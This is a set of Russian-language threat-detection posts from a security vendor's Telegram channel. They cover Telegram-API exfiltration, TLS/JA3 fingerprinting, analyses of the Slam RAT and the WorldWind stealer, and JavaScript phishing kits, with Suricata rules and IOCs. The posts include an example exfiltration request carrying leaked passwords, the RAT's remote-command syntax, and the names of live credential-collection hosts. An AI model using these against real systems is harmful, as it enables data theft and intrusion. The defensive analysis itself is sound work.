ESCalator
3.99K subscribers
228 photos
1 video
1 file
96 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Телега с хакерами

Согласно последним тенденциям (например, Lazy Koala), злоумышленники все чаще прибегают к эксфильтрации данных или С2-каналу через мессенджер Telegram.

Это и правда просто: достаточно отправить такой веб-запрос, чтобы передать чувствительную информацию (например, пароли) с любого компьютера вашей инфраструктуры:


https://api.telegram.org/bot$BOT_TOKEN/sendMessage?text=LEAKED_PASSWORDS&chat_id=xxxx


Таким образом, злоумышленники пытаются спрятать свою сетевую активность в потоках легитимных сетевых сессий к Telegram, которым сейчас пользуются практически везде.

Не учли злоумышленники только одного: сетевой трафик от десктопного или мобильного приложения Telegram и веб-запрос к API сильно отличаются.

Telegram API — это в том числе инструмент автоматизации и управления ботами. Если в вашей организации его и используют, то с определенных хостов и в ограниченном количестве.

🚩 Появление таких запросов с машины пользователя — красный флаг для ваших средств защиты. А найти такие сетевые сессии легко — одним запросом к NTA-системе:


tls.server_name == "api.telegram.org"


#detect #network #tip
@ptescalator
TLS в сети: как быть 🤷‍♂️

Ты — мощный движок разбора сетевого трафика.

Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.

В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.

Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙

«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?

Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:

1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.

Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)

Основные параметры заголовков, которые можно проанализировать:

Версия протокола. Например, SSL 3.0 или TLS 1.0.

Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).

Алгоритмы сжатия.

Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).

Аспекты анализа сертификатов:

Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.

Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).

Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).

🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.

В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).

Например, JA3 a85be79f7b569f1df5e6087b69deb493 однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2).

Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.

Анализ характеристик TCP-сессий

Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.

В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.

Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.

Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯

#detect #malware #network #hunt #tips
@ptescalator
Slam screen locker. Что ты такое? ☹️

На очереди — fast malware analysis, проведенный одним воскресным вечером.

В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).

В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.

🏃‍♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.

Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.

• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);

• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);

• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);

• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).

И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.

😃 Самые неприятные и интересные пакости

Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.

Команда: textts*<text_to_speek>.
Действие: text to speech.

Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.

Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.

Команда: BSOD#.
Действие: вызвать синий экран смерти.

А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)


IOCs


SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42


Happy hunting!

#Hunt #C2 #Tips #IOC #detect #malware #network #suricata

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Слышали ли вы про публичный репозиторий Suricata-правил Attack Detection?

Да это яяяя Внутри большой команды PT Expert Security Center есть отдельная группа экспертов, главная задача которых — разрабатывать правила обнаружения для сетевых средств защиты. Вы уже наверняка знакомы с некоторыми постами про сетевые артефакты от этой команды.

Спустя два года перерыва мы возвращаемся к вам с обновленным порталом и снова начинаем публиковать части своей экспертизы в виде Suricata-правил 🔥

Из обновлений:

1. Правила для последних уязвимостей.
2. Правила для обнаружения крайне популярных в узких кругах инструментов Croc и gsocket.
3. А также несколько правил для выявления горизонтального перемещения в сети Active Directory.

Настройте suricata-update на поддержку официального источника правил ptrules/open и следите за обновлениями на нашей странице в X.

👋🏼 Stay tuned

#suricata #network #signature #rules
@ptescalator
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 Большое малварное обновление правил Suricata

Надеюсь, вы помните, что у нас есть публичный репозиторий правил Suricata (писали о запуске ресурса в другом посте) и настроили suricata-update на поддержку официального источника правил ptrules/open ?

Если что, то вот ссылочка на репозиторий.

Не одними уязвимостями и хактулами живем 🙂

Мы, команда сетевой экспертизы антивирусной лаборатории PT ESC, провели большую работу по актуализации правил, направленных на детектирование активности вредоносного ПО, и вот — выкладываем часть своей экспертизы для общего пользования.

Из интересного:

— загрузчик RustyNet, стилер WorldWind, RAT'ник Slam, о которых писали ранее (в этом посте, этом и этом);
— вредонос для Android: SpyNote, Hydra, Zanubis;
— ужасный RAT'ник XWorm и много других интересных образцов.

Все правила вы можете найти на нашем сайте.

ВПО не пройдет, happy hunting!

#suricata #network #signature #rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Как давно ты реверсил JavaScript? 😲

Продолжая тему фишинга (ранее мы смотрели на таргетированные подозрительные документы, приводящие к получению первоначального доступа или сбору NTLM-хешей), хотим показать примеры свежих атак, направленных на массового пользователя, привыкшего пользоваться продуктами известной компании Microsoft.

Посмотрим, как злоумышленники генерируют поддельные HTML-страницы, мимикрирующие под формы ввода аутентификационных данных, с точки зрения JavaScript-кода и применяемых техник обфускации, и даже найдем интересные пасхалки от фишеров.

1️⃣ Первый пример

Самым примитивным примером из сегодняшней подборки является использование конструкции:

document.write(unescape(atob(


Внутри нее зашит внешний подгружаемый скрипт flyit.com.ar/wp-includes/certificates/js_host/outlk.js, который содержит в себе jQuery библиотеку и дополнительный код, отправляющий на campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form креды пользователя.

Минутка ликбеза: функция atob позволяет декодировать base64-строку, а document.write записывает содержимое аргумента в DOM активной страницы, подменяя ее текущее содержимое. В данном случае обфускация минимальная — в основном используется только сжатие (минификация).

2️⃣ Второй пример

Это более интересный пример, поскольку он содержит много обфусцированного кода. Передаваемая пользователю HTML-страничка содержит только обфусцированный скрипт, который исполняется уже на стороне браузера.

Бесплатные деобфускаторы не справляются с преобразованием кода, поэтому прибегнем к ручному реверсу JavaScript: используемые выделенные функции, методы atob и document.write формируют веб-страницу, которая впоследствии подгружает скрипт с 7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js (обфусцирован с помощью бесплатного сервиса obfuscator.io), где как раз и содержится сбор кредов пользователя. Затем логин и пароль отправляются на C2 злоумышленников — miguel.uscourtaccess.com/next.php.

Сможете найти пасхалочки на скрине? 😏

3️⃣ Третий пример

В третьем случае для формирования поддельной страницы, представляющую собой брендированную версию стандартной формы ввода аутентификационных данных, используется фишинговый набор WikiKit. Он получил свое название за перенаправления на Википедию в случае отключенного в браузере JavaScript или недействительной фишинговой ссылки. Этот скрипт блокирует использование отладочных средств (хотя обойти их в целом несложно), а собранные данные отправляются на cotceur.com.

Какие у нас рекомендации? 🧐

Кроме «не открывать файлы из подозрительных писем», что кажется неактуальным для этого канала (нам же наоборот интересно их открыть), приведем ряд простых, но важных поинтов, на которые точно стоит обращать внимание при анализе веб-страниц:

на вкладке Network браузера проверяйте origin подгружаемых дополнительных ресурсов, все-таки jQuery лучше получать с легитимного домена jQuery или известного CDN.

использование функции atob (декодирование base64), еще и с

aHR0cHM6
aHR0cDo


внутри (в результате декодирования получается https: или http:) — поистине страшная смесь! А если добавить к этому document.write (добавления контента в html-документ) и unescape (устаревший метод для декодирования URI) — это точно редфлаг 🚩

антидебаггинг, конечно, используется в легитимных целях, но очень редко: стоит задуматься, если встречаете его (эти техники, кстати, можно обойти довольно легко — к примеру, в случае третьего фишинга использовать не горячие клавиши вроде F12 или Ctrl+Shift+i, а вручную открыть инструменты в настройках или записать трафик).

💡 Хотим отметить, что не стоит видеть подозрительность везде — например, сжатие кода и популярные виды обфускации часто используют в легитимных проектах! Решили поразбирать JS-код сами just for run и увидели странный POST-запрос? Будем верить, что вы указали фальшивый пароль 🤞🏻

Happy hunting!

#hunt #network #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM